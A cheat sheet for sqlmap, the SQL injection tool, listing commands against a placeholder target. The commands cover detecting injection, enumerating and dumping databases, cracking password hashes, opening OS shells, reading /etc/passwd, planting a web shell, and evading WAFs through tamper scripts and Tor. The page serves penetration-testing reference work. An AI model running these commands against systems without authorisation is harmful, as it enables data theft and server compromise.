SQLMap Cheat Sheet
Automated SQL injection detection and exploitation with sqlmap. From basic URL testing through database enumeration, OS-level access, and WAF bypass techniques.
Basic Usage
Test a URL parameter for SQL injection with auto-confirm
$ sqlmap -u "http://target.com/page?id=1" --batchTest injection from a saved HTTP request file (from Burp)
$ sqlmap -r request.txt --batchAutomatically detect and test HTML forms on a page
$ sqlmap -u "http://target.com/page?id=1" --forms --batchTest with authentication cookies
$ sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --batchTest POST parameters for injection
$ sqlmap -u "http://target.com/api/v1/users" --method=POST --data="id=1&name=test" --batchInjection Techniques
Use only boolean-blind, error-based, and UNION techniques
$ sqlmap -u "http://target.com/page?id=1" --technique=BEU --batchMaximum detection level and risk for thorough testing
$ sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3 --batchCustom injection prefix and suffix for complex queries
$ sqlmap -u "http://target.com/page?id=1" --prefix="')" --suffix="-- -" --batchSecond-order injection where result appears on a different page
$ sqlmap -u "http://target.com/page?id=1" --second-url="http://target.com/result" --batchEnumeration
Enumerate all available databases
$ sqlmap -u "http://target.com/page?id=1" --dbs --batchList all tables in a specific database
$ sqlmap -u "http://target.com/page?id=1" -D dbname --tables --batchDump all rows from the users table
$ sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump --batchGet current DB user, database name, and DBA status
$ sqlmap -u "http://target.com/page?id=1" --current-user --current-db --is-dba --batchEnumerate and attempt to crack database user password hashes
$ sqlmap -u "http://target.com/page?id=1" --passwords --batchOS Access
Attempt to spawn an interactive OS shell via SQL injection
$ sqlmap -u "http://target.com/page?id=1" --os-shell --batchExecute a single OS command through the injection point
$ sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami" --batchRead a file from the server filesystem via injection
$ sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd" --batchUpload a local file to the target server
$ sqlmap -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batchTamper Scripts & Evasion
Replace spaces with inline comments to bypass WAF
$ sqlmap -u "http://target.com/page?id=1" --tamper=space2comment --batchChain tampers: BETWEEN instead of comparison, randomize case
$ sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase --batchRandomize User-Agent and add delay between requests
$ sqlmap -u "http://target.com/page?id=1" --random-agent --delay=2 --batchRoute traffic through Tor and verify connectivity
$ sqlmap -u "http://target.com/page?id=1" --tor --tor-type=SOCKS5 --check-tor --batch